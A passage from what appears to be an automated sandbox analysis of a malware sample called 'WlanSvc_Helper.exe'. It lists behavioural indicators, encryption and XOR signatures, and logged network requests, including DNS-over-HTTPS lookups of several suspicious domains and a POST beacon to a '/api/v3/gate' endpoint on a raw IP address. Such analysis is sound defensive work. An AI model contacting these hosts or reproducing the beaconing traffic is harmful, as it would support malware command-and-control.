"00000000-00006464.00000001.136789.48CA9000.00000004.mdmp, 00000000-00006464.00000001.136789.48CC8000.00000004.mdmp, 00000000-00006464.00000002.138708.48CA9000.00000004.mdmp, 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp, 00000000-00006464.00000003.144214.48CA9000.00000004.mdmp, 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp") Found string "Private Key Usage Period" (Indicator: "private key"; Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp, 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp, 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp")40:T147a,Contains base64 string in header "/dns" in header "GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Keep" in header "GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "jsonUser" in header "GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Host" in header "GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "POST" in header "POST /api/v3/gate HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Content-Length: 301Host: 167.86.74.11" Contains base64 string in header "/api/v3/gate" in header "POST /api/v3/gate HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Content-Length: 301Host: 167.86.74.11" Contains base64 string in header "Keep" in header "POST /api/v3/gate HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Content-Length: 301Host: 167.86.74.11" Contains base64 string in header "AliveContent" in header "POST /api/v3/gate HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Content-Length: 301Host: 167.86.74.11" Contains base64 string in header "Type" in header "POST /api/v3/gate HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Content-Length: 301Host: 167.86.74.11" Contains base64 string in header "/dns" in header "GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "mall" in header "GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Keep" in header "GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "jsonUser" in header "GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Host" in header "GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "/dns" in header "GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Keep" in header "GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "jsonUser" in header "GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Host" in header "GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "/dns" in header "GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Keep" in header "GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "jsonUser" in header "GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com" Contains base64 string in header "Host" in header "GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1Connection: Keep-AliveAccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Host: cloudflare-dns.com"41:T947,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains asymmetric cryptographic functions (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use AES encryption instructions Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform AES encryption using crypto++ library Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to performs encryption on the data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Imports crypto-related APIs Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains cryptographic functions of the CryptoAPI Matched sigs: Contains key cryptographic functions of the CryptoAPI Matched sigs: YARA signature match - Cryptographic algorithm using CryptoPP library Matched sigs: YARA signature match - Compress data using CryptoPP library Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match - Crypto Library Matched sigs: YARA signature match – cryptographic algorithms42:T22f2,Found XOR loop in file "sample.bin" at offset 1740810; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1748127; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1984707; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1985692; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1988629; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1989711; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1994926; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2002487; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2029431; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2031555; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2064601; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2065489; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2065983; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090295; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090339; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2107025; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 174937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 174970; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 896682; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 896715; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1138851; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1139401; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1139968; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1140149; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1140571; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1140776; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1140865; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141004; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141088; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141234; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141330; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141483; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141606; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1141957; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1142199; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1142329; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1142436; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1142557; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1142679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1142924; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1143187; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1143420; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1143658; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1143899; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1144131; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1144233; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1147432; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148304; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148333; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148441; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148473; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148506; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148539; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148573; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148607; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148641; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148708; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148779; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1148813; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1170066; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180154; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180207; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180232; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180267; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180280; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180381; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180391; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180423; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180435; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180545; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180558; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180569; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180581; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180740; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180746; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180759; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180764; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180841; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180847; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180866; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180871; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180967; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180973; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1180999; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181004; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181568; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181590; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181617; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181693; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181718; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181855; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181939; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1181961; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1198274; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1198283; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1203057; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1209749; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1216196; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1216224; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1216259; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1216294; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1216329; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1219047; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1240084; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1435890; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1435909; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1435952; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1749702; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1757083; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 790661; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 791895; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1187734; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1187821; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1740744; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1742142; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1802531; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1916088; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1996535; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2066007; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2081484; code bytes = 803043:T5e6,Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "WlanSvc_Helper.exe") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "WlanSvc_Helper.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "WlanSvc_Helper.exe") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "WlanSvc_Helper.exe") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "WlanSvc_Helper.exe") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "WlanSvc_Helper.exe") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")44:T778,"WlanSvc_Helper.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "RtlGetVersion" with parameter 240100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006464)45:T5e0,GetTickCount64@KERNEL32.dll at 14489-5459-00000001400BB620 GetTickCount64@KERNEL32.dll at 14489-5465-00000001400BB1D0 GetTickCount64@KERNEL32.dll at 14489-5478-00000001400B91D0 GetTickCount64@KERNEL32.dll at 14489-5480-00000001400B6820 GetTickCount64@KERNEL32.dll at 14489-5485-00000001400B4270 GetTickCount64@KERNEL32.dll at 14489-5513-00000001400A9380 GetTickCount64@KERNEL32.dll at 14489-5541-00000001400A0AB0 GetTickCount64@KERNEL32.dll at 14489-5542-000000014009FBB0 GetTickCount64@KERNEL32.dll at 14489-5633-00000001400841C0 GetTickCount64@KERNEL32.dll at 14489-5635-00000001400845D0 GetTickCount64@KERNEL32.dll at 14489-5643-0000000140080B70 GetTickCount64@KERNEL32.dll at 14489-5644-0000000140080690 GetTickCount64@KERNEL32.dll at 14489-5646-0000000140080780 GetTickCount64@KERNEL32.dll at 14489-5656-000000014007C9F0 GetTickCount64@KERNEL32.dll at 14489-7366-0000000140047C95 GetTickCount64@KERNEL32.dll at 14489-7379-0000000140048298 GetTickCount64@KERNEL32.dll at 14489-7735-000000014005F442 GetTickCount64@KERNEL32.dll at 14489-7750-000000014005F756 GetTickCount64@KERNEL32.dll at 14489-8193-000000014007A28C GetTickCount64@KERNEL32.dll at 14489-8276-000000014007DD57 GetTickCount64@KERNEL32.dll at 14489-8429-0000000140086582 GetTickCount64@KERNEL32.dll at 14489-8450-0000000140087806 GetTickCount64@KERNEL32.dll at 14489-8551-000000014008BF5F GetTickCount64@KERNEL32.dll at 14489-8553-000000014008C103 GlobalMemoryStatusEx@KERNEL32.dll at 14489-8647-00000001400B27D046:T405,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "WlanSvc_Helper.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "WlanSvc_Helper.exe") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "WlanSvc_Helper.exe") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "6,3024,,RtlGetVersion,NTDLL.dll,"00:35:08.250",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp")47:Tb6b,"WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-400530345 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-402303990 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-402892828 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-403226118 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-404547348 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-405477253 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-405733421 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-406741912 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-407671275 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-408506949 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-408818114 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-409756686 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-410909378 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-411840572 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-412999382 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-413932204 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-415039812 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-415913220 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-417008524 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-417884169 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-418962367 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-419834797 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-420054229 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-420934191 "WlanSvc_Helper.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006464-00000C17-42180361948:T979,Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; File: "WlanSvc_Helper.exe") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; File: "WlanSvc_Helper.exe") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; File: "WlanSvc_Helper.exe") Found reference to API "[RESTORE] OpenSCManager failed err=" (Indicator: "OpenSCManager"; File: "WlanSvc_Helper.exe") Found reference to API "[RESTORE] OpenSCManager failed err=" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "883051505488,2508,3205,,OpenSCManagerW,advapi32.dll,"00:35:37.312",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "882749122963,4164,3205,,OpenSCManagerW,advapi32.dll,"00:35:37.187",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "883049273162,2508,3205,,OpenSCManagerW,advapi32.dll,"00:35:37.312",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000001.136789.48CA9000.00000004.mdmp") Found reference to API "54937168664,4540,3205,,OpenSCManagerW,advapi32.dll,"00:36:07.265",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "8154899113743,2508,3205,,OpenSCManagerW,advapi32.dll,"00:36:07.250",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000002.138708.48CA9000.00000004.mdmp") Found reference to API "8361102275866,7548,3205,,OpenSCManagerW,advapi32.dll,"00:37:33.156",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp") Found reference to API "251499660057,2508,3205,,OpenSCManagerW,advapi32.dll,"00:36:47.500",RX=0,PX=0" (Indicator: "OpenSCManager"; Source: "00000000-00006464.00000003.144214.48CA9000.00000004.mdmp")49:T533,"WlanSvc_Helper.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "WlanSvc_Helper.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")4a:T48f,"WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "LoadLibrary" with a parameter api-ms-win-security-systemfunctions-l1-1-0 (UID: 00000000-00006464)4b:T1972,"WlanSvc_Helper.exe" called "GetProcAddress" with a parameter 